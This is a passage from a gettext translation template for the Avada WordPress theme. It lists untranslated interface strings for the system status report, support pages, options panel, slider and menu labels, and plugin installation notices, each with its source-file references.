includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:366 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" #: includes/admin-screens/status.php:528 #. translators: %1$s: Current value. %2$s: URL. msgid "" "%1$s - We recommend setting max execution time to at least 180.
    See: " "Increasing " "max execution to PHP" msgstr "" #: includes/admin-screens/status.php:536 msgid "PHP Max Input Vars:" msgstr "" #: includes/admin-screens/status.php:537 includes/admin-screens/status.php:582 #: includes/admin-screens/status.php:618 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:371 msgid "" "The maximum number of variables your server can use for a single function " "to avoid overloads." msgstr "" #: includes/admin-screens/status.php:564 includes/admin-screens/status.php:609 #: includes/admin-screens/status.php:645 #. translators: %1$s: Current value. $2%s: Recommended value. %3$s: URL. msgid "" "%1$s - Recommended Value: %2$s.
    Max input vars limitation will " "truncate POST data such as menus. See: Increasing max input vars limit." msgstr "" #: includes/admin-screens/status.php:573 msgid "SUHOSIN Installed:" msgstr "" #: includes/admin-screens/status.php:575 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself. " "If enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" #: includes/admin-screens/status.php:581 msgid "Suhosin Post Max Vars:" msgstr "" #: includes/admin-screens/status.php:617 msgid "Suhosin Request Max Vars:" msgstr "" #: includes/admin-screens/status.php:653 msgid "Suhosin Post Max Value Length:" msgstr "" #: includes/admin-screens/status.php:654 msgid "" "Defines the maximum length of a variable that is registered through a POST " "request." msgstr "" #: includes/admin-screens/status.php:662 #. translators: %1$s: Current value. $2%s: Recommended value. %3$s: URL. msgid "" "%1$s - Recommended Value: %2$s.
    Post Max Value Length limitation may " "prohibit the Global Options data from being saved to your database. See: Suhosin " "Configuration Info." msgstr "" #: includes/admin-screens/status.php:672 msgid "ZipArchive:" msgstr "" #: includes/admin-screens/status.php:673 msgid "" "ZipArchive is required for importing demos. They are used to import and " "export zip files specifically for sliders." msgstr "" #: includes/admin-screens/status.php:677 msgid "cURL:" msgstr "" #: includes/admin-screens/status.php:678 msgid "cURL is required for downloading plugins and theme updates." msgstr "" #: includes/admin-screens/status.php:682 msgid "PHP Mail:" msgstr "" #: includes/admin-screens/status.php:683 msgid "PHP mail is required for sending emails via Avada forms." msgstr "" #: includes/admin-screens/status.php:687 msgid "MySQL Version:" msgstr "" #: includes/admin-screens/status.php:688 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:400 msgid "The version of MySQL installed on your hosting server." msgstr "" #: includes/admin-screens/status.php:695 msgid "Max Upload Size:" msgstr "" #: includes/admin-screens/status.php:696 msgid "The largest file size that can be uploaded to your WordPress installation." msgstr "" #: includes/admin-screens/status.php:700 msgid "DOMDocument:" msgstr "" #: includes/admin-screens/status.php:701 msgid "DOMDocument is required for the Avada Builder plugin to properly function." msgstr "" #: includes/admin-screens/status.php:705 msgid "WP Remote Get:" msgstr "" #: includes/admin-screens/status.php:706 includes/admin-screens/status.php:720 msgid "" "Avada uses this method to communicate with different APIs, e.g. Google, X, " "Facebook." msgstr "" #: includes/admin-screens/status.php:719 msgid "WP Remote Post:" msgstr "" #: includes/admin-screens/status.php:733 msgid "GD Library:" msgstr "" #: includes/admin-screens/status.php:734 msgid "" "Avada uses this library to resize images and speed up your site's loading " "time" msgstr "" #: includes/admin-screens/status.php:737 #: includes/class-avada-tgm-plugin-activation.php:2380 msgid "Not Installed" msgstr "" #: includes/admin-screens/status.php:739 msgid "Installed" msgstr "" #: includes/admin-screens/status.php:754 msgid "Avada Update Server Status" msgstr "" #: includes/admin-screens/status.php:760 msgid "Check Envato Server Status" msgstr "" #: includes/admin-screens/status.php:765 msgid "Envato's API server." msgstr "" #: includes/admin-screens/status.php:770 msgid "Check Avada Server Status" msgstr "" #: includes/admin-screens/status.php:775 msgid "" "Server from which Avada, plugins, prebuilt websites and patches are " "downloaded." msgstr "" #: includes/admin-screens/status.php:794 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:531 msgid "Active Plugins" msgstr "" #: includes/admin-screens/status.php:811 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:546 msgid "Visit plugin homepage" msgstr "" #: includes/admin-screens/status.php:824 #. translators: plugin author. msgid "by %s" msgstr "" #: includes/admin-screens/status.php:842 #. translators: Version Number. msgid "" "Note: By clicking OK, the Global Options conversion for Avada %s will be " "rerun. This page will be newly loaded, which already completes the " "conversion." msgstr "" #: includes/admin-screens/status.php:852 #. translators: last version. msgid "" "Warning: By clicking OK, all changes made to your Global Options after " "installing Avada 4.0 will be lost. Your Global Options will be reset to the " "values from %s and then converted again to 4.0." msgstr "" #: includes/admin-screens/status.php:862 msgid "" "Warning: By clicking OK, you will be redirected to the conversion splash " "screen, where you can restart the conversion of your page contents to the " "new Avada Builder format." msgstr "" #: includes/admin-screens/status.php:870 msgid "" "Warning: By clicking OK, you will be redirected to the conversion splash " "screen, where you can start the conversion reversion of your page contents " "to the old Avada Builder format." msgstr "" #: includes/admin-screens/status.php:878 msgid "" "Warning: This is a non-reversable process. By clicking OK, all backups " "created during the 5.0 shortcode-conversion process will be removed from " "your database." msgstr "" #: includes/admin-screens/support.php:19 msgid "Avada Support" msgstr "" #: includes/admin-screens/support.php:22 #. translators: %1$s: support extension link. %2$s: "View more info here" link. msgid "" "Avada comes with 6 months of free support for every license you purchase. " "Support can be extended through subscription via ThemeForest " "(more information on support extension). To access Avada " "support, you must first setup an account by following these " "steps." msgstr "" #: includes/admin-screens/support.php:28 msgid "Create your support account." msgstr "" #: includes/admin-screens/support.php:34 msgid "Channels Of Support" msgstr "" #: includes/admin-screens/support.php:40 msgid "Quick Start Guide" msgstr "" #: includes/admin-screens/support.php:43 msgid "" "We understand that it can be a daunting process getting started with " "WordPress. In light of this, we have prepared a starter pack for you, which " "includes all you need to know." msgstr "" #: includes/admin-screens/support.php:46 msgid "Starter Guide" msgstr "" #: includes/admin-screens/support.php:56 msgid "" "This is the place to go to reference different aspects of the product. Our " "online documentaiton is an incredible resource for learning the ins and " "outs of using the Avada Website Builder." msgstr "" #: includes/admin-screens/support.php:66 includes/admin-screens/support.php:72 #: includes/class-avada-admin.php:759 msgid "Submit A Ticket" msgstr "" #: includes/admin-screens/support.php:69 msgid "" "We offer excellent support through our advanced ticket system. Make sure to " "register your purchase first to access our support services and other " "resources." msgstr "" #: includes/admin-screens/support.php:84 msgid "" "Nothing is better than watching a video to learn. We have a growing library " "of narrated HD video tutorials to help teach you the different aspects of " "using the Avada Website Builder." msgstr "" #: includes/admin-screens/support.php:87 msgid "Watch Videos" msgstr "" #: includes/admin-screens/support.php:94 msgid "Engage With Us" msgstr "" #: includes/admin-screens/support.php:97 msgid "" "Have your say on the future of Avada by voting on new features, prebuilt " "websites and studio content. You can also request the new additions that " "appeal to you the most." msgstr "" #: includes/admin-screens/support.php:100 msgid "Community Forum" msgstr "" #: includes/admin-screens/support.php:107 #: includes/admin-screens/support.php:113 msgid "Facebook Group" msgstr "" #: includes/admin-screens/support.php:110 msgid "" "We have an amazing Facebook Group! Share with other Avada users and help " "grow our community. Please note, ThemeFusion does not provide support here." msgstr "" #: includes/avada-app/class-fusion-panel.php:331 msgid "The Global Options updated." msgstr "" #: includes/avada-app/class-fusion-panel.php:334 msgid "You do not have permission to update Global Options." msgstr "" #: includes/avada-app/class-fusion-panel.php:360 msgid "The page options updated." msgstr "" #: includes/avada-app/class-fusion-panel.php:362 msgid "You do not have permission to update the page options." msgstr "" #: includes/avada-app/class-fusion-panel.php:383 msgid "The taxonomy options updated." msgstr "" #: includes/avada-app/class-fusion-panel.php:386 msgid "You do not have permission to update taxonomy options." msgstr "" #: includes/avada-app/class-fusion-panel.php:425 msgid "Add Page TitleBar" msgstr "" #: includes/avada-app/class-fusion-panel.php:426 msgid "Edit Global Page TitleBar" msgstr "" #: includes/avada-app/class-fusion-panel.php:427 msgid "Edit Page TitleBar" msgstr "" #: includes/avada-app/class-fusion-panel.php:428 msgid "Edit Page TitleBar Layout Section" msgstr "" #: includes/avada-app/class-fusion-panel.php:429 msgid "Remove Page TitleBar" msgstr "" #: includes/avada-app/class-fusion-panel.php:430 #: includes/options/header.php:235 msgid "Add Slider" msgstr "" #: includes/avada-app/class-fusion-panel.php:431 msgid "Edit Slide" msgstr "" #: includes/avada-app/class-fusion-panel.php:432 #: includes/avada-functions.php:987 msgid "Edit Slider" msgstr "" #: includes/avada-app/class-fusion-panel.php:433 msgid "Edit Slider Options" msgstr "" #: includes/avada-app/class-fusion-panel.php:434 #: includes/avada-functions.php:994 includes/avada-functions.php:995 #: includes/avada-functions.php:1009 msgid "Remove Slider" msgstr "" #: includes/avada-app/class-fusion-panel.php:435 msgid "" "You have chosen to edit your selected slider. This operation must be " "performed from the WordPress dashboard." msgstr "" #: includes/avada-app/class-fusion-panel.php:436 #: includes/class-avada-megamenu-framework.php:1064 #: includes/class-avada-nav-walker-megamenu.php:259 #: includes/lib/inc/class-awb-widget-style.php:421 #: includes/lib/inc/fusion-app/helpers.php:254 msgid "Cancel" msgstr "" #: includes/avada-app/class-fusion-panel.php:438 msgid "LayerSlider" msgstr "" #: includes/avada-app/class-fusion-panel.php:441 #: includes/options/advanced.php:576 includes/options/elastic_slider.php:27 msgid "Elastic Slider" msgstr "" #: includes/avada-app/class-fusion-panel.php:480 msgid "Invalid CSS Value" msgstr "" #: includes/avada-app/class-fusion-panel.php:482 #. translators: The value. msgid "Invalid CSS Value: %s" msgstr "" #: includes/avada-app/class-fusion-panel.php:483 msgid "Invalid Color" msgstr "" #: includes/avada-app/class-fusion-panel.php:703 #: includes/avada-app/class-fusion-panel.php:838 #: includes/lib/inc/fusion-app/helpers.php:524 includes/options/privacy.php:423 msgid "Settings" msgstr "" #: includes/avada-app/class-fusion-panel.php:721 #: includes/avada-app/class-fusion-panel.php:856 msgid "Slug" msgstr "" #: includes/avada-app/class-fusion-panel.php:734 msgid "Parent Category" msgstr "" #: includes/avada-app/class-fusion-panel.php:745 #: includes/class-avada-nav-walker-megamenu.php:213 #: includes/lib/inc/class-fusion-patcher-admin-screen.php:290 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:170 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:225 #: woocommerce/single-product/tabs/description.php:16 msgid "Description" msgstr "" #: includes/avada-app/class-fusion-panel.php:784 msgid "Select Parent" msgstr "" #: includes/avada-app/class-fusion-panel.php:792 msgid "(no title)" msgstr "" #: includes/avada-app/class-fusion-panel.php:804 #: includes/class-avada-woocommerce.php:2328 msgid "Default Template" msgstr "" #: includes/avada-app/class-fusion-panel.php:843 msgid "Page Title" msgstr "" #: includes/avada-app/class-fusion-panel.php:867 msgid "Page Attributes" msgstr "" #: includes/avada-app/class-fusion-panel.php:878 #: includes/avada-app/class-fusion-panel.php:894 includes/options/menu.php:729 msgid "Parent" msgstr "" #: includes/avada-app/class-fusion-panel.php:909 #: includes/metaboxes/metaboxes.php:693 #: includes/metaboxes/tabs/tab_fusion_template.php:21 msgid "Template" msgstr "" #: includes/avada-app/class-fusion-panel.php:922 #: includes/class-avada-admin.php:1822 msgid "Order" msgstr "" #: includes/avada-app/class-fusion-panel.php:933 msgid "Post Format" msgstr "" #: includes/avada-app/class-fusion-panel.php:975 msgid "Choose" msgstr "" #: includes/avada-app/class-fusion-panel.php:994 includes/options/blog.php:591 #: includes/options/portfolio.php:243 includes/options/search.php:474 msgid "Excerpt" msgstr "" #: includes/avada-app/class-fusion-panel.php:1004 #: includes/avada-app/class-fusion-panel.php:1012 #: includes/class-avada-taxonomy-meta.php:162 msgid "Featured Image" msgstr "" #: includes/avada-app/class-fusion-panel.php:1054 #. Translators: Ordinal number of featured image. msgid "Featured Image %s" msgstr "" #: includes/avada-app/class-fusion-panel.php:1114 #: includes/lib/inc/fusion-app/helpers.php:203 #: includes/options/custom_css.php:27 msgid "Custom CSS" msgstr "" #: includes/avada-app/class-fusion-panel.php:1119 #: includes/options/custom_css.php:34 msgid "CSS Code" msgstr "" #: includes/avada-app/class-fusion-panel.php:1121 #: includes/options/custom_css.php:36 #. translators: !important msgid "" "Enter your CSS code in the field below. Do not include any tags or HTML in " "the field. Custom CSS entered here will override the theme CSS. In some " "cases, the %s tag may be needed. Don't URL encode image or svg paths. " "Contents of this field will be auto encoded." msgstr "" #: includes/avada-app/class-fusion-panel.php:1138 #: includes/avada-app/class-fusion-panel.php:1493 msgid "Import/Export" msgstr "" #: includes/avada-app/class-fusion-panel.php:1145 #: includes/metaboxes/tabs/tab_avada_page_options.php:82 #: includes/metaboxes/tabs/tab_avada_page_options.php:93 msgid "Import Page Options" msgstr "" #: includes/avada-app/class-fusion-panel.php:1146 msgid "" "Import Page Options. You can import via file or copy and paste from JSON " "data." msgstr "" #: includes/avada-app/class-fusion-panel.php:1152 #: includes/metaboxes/tabs/tab_avada_page_options.php:69 #: includes/metaboxes/tabs/tab_avada_page_options.php:75 msgid "Export Page Options" msgstr "" #: includes/avada-app/class-fusion-panel.php:1153 msgid "Export your Page Options. You can either export as a file or copy the data." msgstr "" #: includes/avada-app/class-fusion-panel.php:1380 #: includes/avada-app/class-fusion-panel.php:1388 #: includes/avada-app/panel/templates/sidebar.php:63 #: includes/options/shortcode_styling.php:30 msgid "Avada Builder Elements" msgstr "" #: includes/avada-app/class-fusion-panel.php:1393 #: includes/avada-app/panel/templates/sidebar.php:69 msgid "Add-on Elements" msgstr "" #: includes/avada-app/class-fusion-panel.php:1500 msgid "Import Global Options" msgstr "" #: includes/avada-app/class-fusion-panel.php:1501 msgid "" "Import Global Options. You can import via file, copy and paste or select an " "Avada prebuilt website." msgstr "" #: includes/avada-app/class-fusion-panel.php:1508 #: includes/avada-app/class-fusion-panel.php:1513 msgid "Export Global Options" msgstr "" #: includes/avada-app/class-fusion-panel.php:1509 msgid "" "Export your Global Options. You can either export as a file or copy the " "data." msgstr "" #: includes/avada-app/class-fusion-panel.php:1734 #: includes/avada-functions.php:1899 #: includes/lib/inc/class-fusion-fusionredux.php:249 msgid "Posts" msgstr "" #: includes/avada-app/class-fusion-panel.php:1736 #: includes/lib/inc/class-fusion-fusionredux.php:251 msgid "Portfolio Items" msgstr "" #: includes/avada-app/class-fusion-panel.php:1737 #: includes/lib/inc/class-fusion-fusionredux.php:252 msgid "FAQ Items" msgstr "" #: includes/avada-app/class-fusion-panel.php:1738 #: includes/lib/inc/class-fusion-fusionredux.php:253 #: includes/options/sidebars.php:488 msgid "WooCommerce Products" msgstr "" #: includes/avada-app/class-fusion-panel.php:1739 #: includes/lib/inc/class-fusion-fusionredux.php:254 msgid "Events Calendar Posts" msgstr "" #: includes/avada-app/fusion-panel.php:147 msgid "Reset To Default" msgstr "" #: includes/avada-app/fusion-panel.php:199 #: includes/class-awb-global-typography.php:506 #: includes/lib/inc/fusion-app/templates/options/typography.php:13 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:97 #: includes/metaboxes/metaboxes.php:1025 includes/options/typography.php:171 msgid "Global Typography" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:14 #: includes/avada-app/panel/templates/sidebar.php:37 msgid "Page Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:15 #: includes/avada-app/panel/templates/sidebar.php:37 #: includes/metaboxes/metaboxes.php:325 msgid "Layout Section Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:16 msgid "Form Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:17 #: includes/metaboxes/metaboxes.php:327 msgid "Off Canvas Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:38 msgid "Taxonomy Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:47 msgid "Navigator" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:49 #: includes/class-avada-taxonomy-meta.php:333 #: includes/lib/inc/class-fusion-settings.php:587 #: includes/lib/inc/class-fusion-settings.php:625 #: includes/lib/inc/fusion-app/helpers.php:265 #: includes/metaboxes/tabs/tab_sliders.php:226 msgid "Element Options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:56 msgid "Search for global options" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:80 msgid "Search for page option(s)" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:81 msgid "Search for taxonomy option(s)" msgstr "" #: includes/avada-app/panel/templates/sidebar.php:85 msgid "No page specific options are available for this page." msgstr "" #: includes/avada-functions.php:352 includes/lib/inc/fusion-app/helpers.php:580 #: includes/options/blog.php:880 msgid "Related Posts" msgstr "" #: includes/avada-functions.php:355 includes/lib/inc/fusion-app/helpers.php:581 #: includes/options/portfolio.php:704 msgid "Related Projects" msgstr "" #: includes/avada-functions.php:358 includes/lib/inc/fusion-app/helpers.php:582 msgid "Related Faqs" msgstr "" #: includes/avada-functions.php:435 msgid "My Account" msgstr "" #: includes/avada-functions.php:478 msgid "Login failed, please try again." msgstr "" #: includes/avada-functions.php:484 msgid "Remember Me" msgstr "" #: includes/avada-functions.php:487 msgid "Log In" msgstr "" #: includes/avada-functions.php:491 #: includes/metaboxes/tabs/tab_form_submission.php:27 msgid "Register" msgstr "" #: includes/avada-functions.php:560 #. translators: Number of items. msgid "%s Item(s)" msgstr "" #: includes/avada-functions.php:562 includes/class-awb-setup-wizard.php:782 #: includes/class-awb-setup-wizard.php:826 msgid "Cart" msgstr "" #: includes/avada-functions.php:569 includes/avada-functions.php:610 #: includes/avada-functions.php:615 includes/lib/inc/functions.php:1550 #: includes/lib/inc/templates/rollover.php:201 #: templates/wc-top-user-container.php:47 msgid "View Cart" msgstr "" #: includes/avada-functions.php:611 includes/class-awb-setup-wizard.php:788 #: includes/class-awb-setup-wizard.php:843 includes/lib/inc/functions.php:1551 msgid "Checkout" msgstr "" #: includes/avada-functions.php:642 msgid "Toggle Shopping Cart" msgstr "" #: includes/avada-functions.php:724 templates/header-v6.php:30 #: templates/menu-mobile-flyout.php:21 templates/menu-mobile-modern.php:30 msgid "Toggle Sliding Bar" msgstr "" #: includes/avada-functions.php:983 includes/avada-functions.php:1004 msgid "This Slider Is Assigned Via Avada Page Options" msgstr "" #: includes/avada-functions.php:985 #. translators: The slider ID. msgid "Slider ID: %s" msgstr "" #: includes/avada-functions.php:986 msgid "Edit slider" msgstr "" #: includes/avada-functions.php:990 includes/avada-functions.php:991 msgid "Edit Slides" msgstr "" #: includes/avada-functions.php:1006 #. translators: The slider. msgid "Slider \"%s\" cannot be found" msgstr "" #: includes/avada-functions.php:1007 includes/avada-functions.php:1008 msgid "Learn How To Import Sliders" msgstr "" #: includes/avada-functions.php:1366 #: includes/lib/inc/fusion-app/helpers.php:596 includes/options/menu.php:79 #: includes/options/menu.php:103 msgid "Main Menu" msgstr "" #: includes/avada-functions.php:1371 includes/avada-functions.php:1392 msgid "Close Search" msgstr "" #: includes/avada-functions.php:1387 msgid "Main Menu Sticky" msgstr "" #: includes/avada-functions.php:1542 msgid "Secondary Mobile Menu" msgstr "" #: includes/avada-functions.php:1545 msgid "Secondary Menu" msgstr "" #: includes/avada-functions.php:1630 includes/avada-functions.php:1655 #: includes/avada-functions.php:1661 includes/avada-functions.php:1678 msgid "Select a slider" msgstr "" #: includes/avada-functions.php:1706 msgid "No Slider" msgstr "" #: includes/avada-functions.php:1767 msgid "or" msgstr "" #: includes/avada-functions.php:1775 #. translators: Comma separated slider plugins, ie. Avada Slider, Revolution #. Slider or Layer Slider. msgid "" "IMPORTANT NOTE: No sliders have been created yet, click " "here to create a %s." msgstr "" #: includes/avada-functions.php:1778 #. translators: URL. msgid "" "IMPORTANT NOTE: Currently there are no slider plugins " "active, click here to activate one." msgstr "" #: includes/avada-functions.php:1783 #. translators: Comma separated slider plugins, ie. Avada Slider, Revolution #. Slider or Layer Slider. msgid "IMPORTANT NOTE: Click here to edit or to create a %s." msgstr "" #: includes/avada-functions.php:1895 includes/class-avada-pwa.php:170 #: includes/class-awb-setup-wizard.php:1989 #: includes/options/performance.php:287 msgid "Images" msgstr "" #: includes/avada-functions.php:1911 msgid "Portfolios" msgstr "" #: includes/avada-functions.php:1917 msgid "FAQs" msgstr "" #: includes/avada-functions.php:1929 includes/class-avada-admin-bar.php:72 #: includes/class-awb-performance-wizard.php:1486 #: includes/metaboxes/tabs/tab_form_steps.php:449 msgid "Icons" msgstr "" #: includes/avada-functions.php:1941 msgid "Products" msgstr "" #: includes/avada-functions.php:1959 includes/options/performance.php:484 msgid "Convert Plus" msgstr "" #: includes/avada-functions.php:1964 includes/class-avada-admin-bar.php:79 #: includes/metaboxes/metaboxes.php:666 #: includes/metaboxes/tabs/tab_sliders.php:25 msgid "Sliders" msgstr "" #: includes/avada-functions.php:1968 includes/class-avada-admin.php:390 #: includes/class-avada-admin.php:416 includes/class-avada-admin.php:590 #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:231 #: includes/lib/inc/redux/framework/FusionReduxCore/framework.php:235 msgid "Options" msgstr "" #: includes/avada-functions.php:1972 msgid "Widgets" msgstr "" #: includes/avada-tgm.php:72 msgid "Install/Update Required Plugins" msgstr "" #: includes/avada-tgm.php:73 includes/class-avada-tgm-plugin-activation.php:335 msgid "Install Plugins" msgstr "" #: includes/avada-tgm.php:75 includes/class-avada-tgm-plugin-activation.php:337 #. translators: %1$s = plugin name(s) #. translators: %s: plugin name. msgid "Installing Plugin: %s" msgstr "" #: includes/avada-tgm.php:76 includes/class-avada-tgm-plugin-activation.php:340 msgid "Something went wrong with the plugin API." msgstr "" #: includes/avada-tgm.php:78 #. translators: %1$s = plugin name(s) msgid "Avada requires the following plugin installed: %1$s." msgid_plural "Avada requires the following plugins installed: %1$s." msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:82 #. translators: %1$s = plugin name(s) msgid "" "Sorry, but you do not have the correct permissions to install the %s " "plugin. Contact the administrator of this site for help on getting the " "plugin installed." msgid_plural "" "Sorry, but you do not have the correct permissions to install the %s " "plugins. Contact the administrator of this site for help on getting the " "plugins installed." msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:84 #. translators: %1$s = plugin name(s) msgid "The following required plugin is currently inactive: %1$s." msgid_plural "The following required plugins are currently inactive: %1$s." msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:88 #. translators: %1$s = plugin name(s) msgid "" "Sorry, but you do not have the correct permissions to activate the %s " "plugin. Contact the administrator of this site for help on getting the " "plugin activated." msgid_plural "" "Sorry, but you do not have the correct permissions to activate the %s " "plugins. Contact the administrator of this site for help on getting the " "plugins activated." msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:90 #. translators: %1$s = plugin name(s) msgid "" "The following plugin needs to be updated to ensure maximum compatibility " "with Avada: %1$s" msgid_plural "" "The following plugins need to be updated to ensure maximum compatibility " "with Avada: %1$s" msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:92 #. translators: %1$s = plugin name(s) msgid "" "Sorry, but you do not have the correct permissions to update the %s plugin. " "Contact the administrator of this site for help on getting the plugin " "updated." msgid_plural "" "Sorry, but you do not have the correct permissions to update the %s " "plugins. Contact the administrator of this site for help on getting the " "plugins updated." msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:93 msgid "Go Install Plugin" msgid_plural "Go Install Plugins" msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:94 msgid "Go Activate Plugin" msgid_plural "Go Activate Plugins" msgstr[0] "" msgstr[1] "" #: includes/avada-tgm.php:95 msgid "Return to the Avada Plugins page." msgstr "" #: includes/avada-tgm.php:96 includes/class-avada-tgm-plugin-activation.php:385 #: includes/class-avada-tgm-plugin-activation.php:3228 msgid "Plugin activated successfully." msgstr "" #: includes/avada-tgm.php:98 #. translators: %1$s = dashboard link. msgid "All plugins installed and activated successfully. %s" msgstr "" #: includes/bootstrap-compat.php:32 #. Translators: 1 is the required WordPress version and 2 is the user's current #. version. msgid "" "Avada requires at least WordPress version %1$s. You are running version " "%2$s. Please upgrade and try again." msgstr "" #: includes/bootstrap-compat.php:41 #. Translators: 1 is the required PHP version and 2 is the user's current #. version. msgid "" "Avada requires at least PHP version %1$s. You are running version %2$s. " "Please upgrade and try again." msgstr "" #: includes/bootstrap.php:612 msgid "Avada Patcher" msgstr "" #: includes/bootstrap.php:613 includes/class-avada-admin-bar.php:84 #: includes/class-avada-admin.php:618 #: includes/lib/inc/class-fusion-patcher-admin-screen.php:241 msgid "Patcher" msgstr "" #: includes/bootstrap.php:646 msgid "" "Our site is currently undergoing scheduled maintenance. Please try again in " "a moment." msgstr "" #: includes/bootstrap.php:650 msgid "" "Currently updating the Avada Theme. Your site will be accessible once the " "update finishes" msgstr "" #: includes/bootstrap.php:662 #. translators: The "follow this link" link. msgid "" "The Avada-Core plugin needs to be updated before your site can exit " "maintenance mode. Please %s to update the plugin." msgstr "" #: includes/bootstrap.php:662 msgid "follow this link" msgstr "" #. Theme Name of the plugin/theme msgid "Avada" msgstr "" #: includes/class-avada-admin-bar.php:62 includes/class-avada-admin.php:391 #: includes/class-avada-admin.php:606 msgid "Websites" msgstr "" #: includes/class-avada-admin-bar.php:64 includes/class-avada-admin.php:609 #: includes/metaboxes/metaboxes.php:683 #: includes/metaboxes/tabs/tab_studio.php:66 msgid "Studio" msgstr "" #: includes/class-avada-admin-bar.php:82 #: includes/lib/inc/fusion-app/helpers.php:207 msgid "Library" msgstr "" #: includes/class-avada-admin-bar.php:86 includes/class-avada-admin.php:408 #: includes/class-avada-admin.php:629 msgid "Plugins" msgstr "" #: includes/class-avada-admin-bar.php:91 #: includes/lib/inc/class-fusion-fusionredux.php:936 msgid "All Avada caches have been reset." msgstr "" #: includes/class-avada-admin-bar.php:93 includes/options/performance.php:540 #: includes/options/performance.php:546 msgid "Reset Avada Caches" msgstr "" #: includes/class-avada-admin-bar.php:161 includes/class-avada-admin.php:272 #: includes/class-avada-woocommerce.php:1163 msgid "Dashboard" msgstr "" #: includes/class-avada-admin-notices.php:69 #. translators: The "Fusion Documentation" link. msgid "" "The 'Side Navigation' page template will be deprecated in a future version " "of Avada. We have replaced it with a better solution, the Avada Vertical Menu " "widget. This new widget offers the same features but with greater " "flexibility. It works with the WP menu system. Please utilize this new " "method instead of the page template which will eventually be removed." msgstr "" #: includes/class-avada-admin.php:396 includes/class-avada-admin.php:611 #: includes/class-awb-maintenance-mode.php:71 #: includes/options/maintenance.php:49 msgid "Maintenance" msgstr "" #: includes/class-avada-admin.php:410 includes/options/performance.php:64 msgid "Performance" msgstr "" #: includes/class-avada-admin.php:411 includes/class-avada-admin.php:683 #: includes/lib/inc/fusion-app/templates/front-end-toolbar.php:105 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:320 msgid "Support" msgstr "" #: includes/class-avada-admin.php:413 msgid "Setup" msgstr "" #: includes/class-avada-admin.php:582 #: includes/class-awb-performance-wizard.php:1471 #: includes/class-awb-setup-wizard.php:1414 msgid "Link to Avada dashboard" msgstr "" #: includes/class-avada-admin.php:597 msgid "Edit the global site options & styles." msgstr "" #: includes/class-avada-admin.php:619 msgid "Apply patches for your version." msgstr "" #: includes/class-avada-admin.php:630 msgid "Manage plugins." msgstr "" #: includes/class-avada-admin.php:641 msgid "Maintenance & Coming Soon mode." msgstr "" #: includes/class-avada-admin.php:652 msgid "Optimize your website performance." msgstr "" #: includes/class-avada-admin.php:663 msgid "Critical CSS" msgstr "" #: includes/class-avada-admin.php:664 msgid "Manage critical CSS generation" msgstr "" #: includes/class-avada-admin.php:674 msgid "View the Avada changelog." msgstr "" #: includes/class-avada-admin.php:684 msgid "View the different support channels" msgstr "" #: includes/class-avada-admin.php:695 msgid "View the system status of your install." msgstr "" #: includes/class-avada-admin.php:705 msgid "Live Builder" msgstr "" #: includes/class-avada-admin.php:714 msgid "Registered" msgstr "" #: includes/class-avada-admin.php:715 msgid "Unregistered" msgstr "" #. Author of the plugin/theme msgid "ThemeFusion" msgstr "" #: includes/class-avada-admin.php:768 msgid "" "Thank you for choosing Avada. We are honored and are fully dedicated to " "making your experience perfect." msgstr "" #: includes/class-avada-admin.php:770 msgid "Support Policy" msgstr "" #: includes/class-avada-admin.php:918 #: includes/lib/inc/fusion-app/helpers.php:595 #: includes/lib/inc/redux/custom-fields/iconpicker/field_iconpicker.php:115 #. translators: The iconset name. msgid "No Results in \"%s\"" msgstr "" #: includes/class-avada-admin.php:1131 msgid "Please update Avada Core to latest version." msgstr "" #: includes/class-avada-admin.php:1167 #. translators: Plugin name. msgid "Install %s" msgstr "" #: includes/class-avada-admin.php:1186 #. translators: Plugin Name. msgid "Activate %s" msgstr "" #: includes/class-avada-admin.php:1208 #. translators: Plugin Name. msgid "Update %s" msgstr "" #: includes/class-avada-admin.php:1208 #: includes/class-avada-tgm-plugin-activation.php:2792 #: templates/wc-cart-shipping-calc.php:91 msgid "Update" msgstr "" #: includes/class-avada-admin.php:1225 #. translators: Plugin name. msgid "Deactivate %s" msgstr "" #: includes/class-avada-admin.php:1225 msgid "Deactivate" msgstr "" #: includes/class-avada-admin.php:1259 msgid "Avada Builder will be installable, once Avada Core plugin is updated." msgstr "" #: includes/class-avada-admin.php:1259 #: includes/lib/inc/fusion-app/templates/front-customize.php:47 msgid "Avada Builder" msgstr "" #: includes/class-avada-admin.php:1278 msgid "Manage Plugins Below" msgstr "" #: includes/class-avada-admin.php:1283 msgid "Go Manage Plugins" msgstr "" #: includes/class-avada-admin.php:1300 msgid "Avada portfolio category base" msgstr "" #: includes/class-avada-admin.php:1311 msgid "Avada portfolio skill base" msgstr "" #: 